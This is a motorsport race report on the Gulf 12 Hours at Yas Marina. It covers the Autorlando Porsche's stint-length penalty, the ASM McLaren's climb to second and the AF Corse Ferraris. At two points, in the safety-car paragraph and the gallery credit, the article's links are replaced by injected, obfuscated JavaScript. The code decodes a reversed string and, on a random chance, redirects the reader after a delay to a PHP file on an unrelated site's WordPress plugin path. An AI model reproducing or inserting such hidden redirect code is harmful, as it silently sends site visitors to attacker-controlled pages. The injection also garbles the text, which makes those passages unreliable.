Behind former-Formula One pilot Gianmaria Bruni slotted former-Porsche Supercup Champion Jeroen Bleekemolen. The Autorlando driver had actually set the quickest fast lap during qualifying, but aggregate qualifying laps – and issues for teammates Emilio Di Guida and Jeroen’s brother Sebastiaan – saw the Porsche 997 GT3 R line up sixth.
Some close scraps and a superb start was all for nothing in the end, the Autorlando squad undoing its good work by exceeding its 75-minute stint length. A 60s stop-go penalty gave the team some time to consider its new race strategy.
Moving into second behind the AF Corse Ferrari, now 20s ahead, was the fledgling ASM squad and its McLaren MP4-12C, a good effort from Rob Bell and 2005 British F3 champion Alvaro Parente after some solid running from eighth on the grid.
AF Corse’s early charge was stunted though by a safety car around the two-hour mark, the Avelon Formula Wolf team $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hr-half-time-with/” target=”_blank”>repeating its issues from the inaugural running of the event by suffering mechanical woes on-track.
This also allowed the second AF Corse car of Stephane Sarrazin, Nicolas Minassian and Enzo Potolicchio (which had started fourth), to close the gap to first and second just ahead. Kessel Racing’s polesitting Ferrari of Popow, Dalziel and Kaffer followed close behind in fourth.
Three hours in and nine to go, give or take the two hour gap in the middle. There’s still plenty of racing left to complete at Yas Marina.
For results from qualifying, click HERE. For results at the second hour, click HERE.
– Shots courtesy of David Benson. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/gulf-12hrs-dec-12/” target=”_blank”>the full Gulf 12hrs gallery HERE.
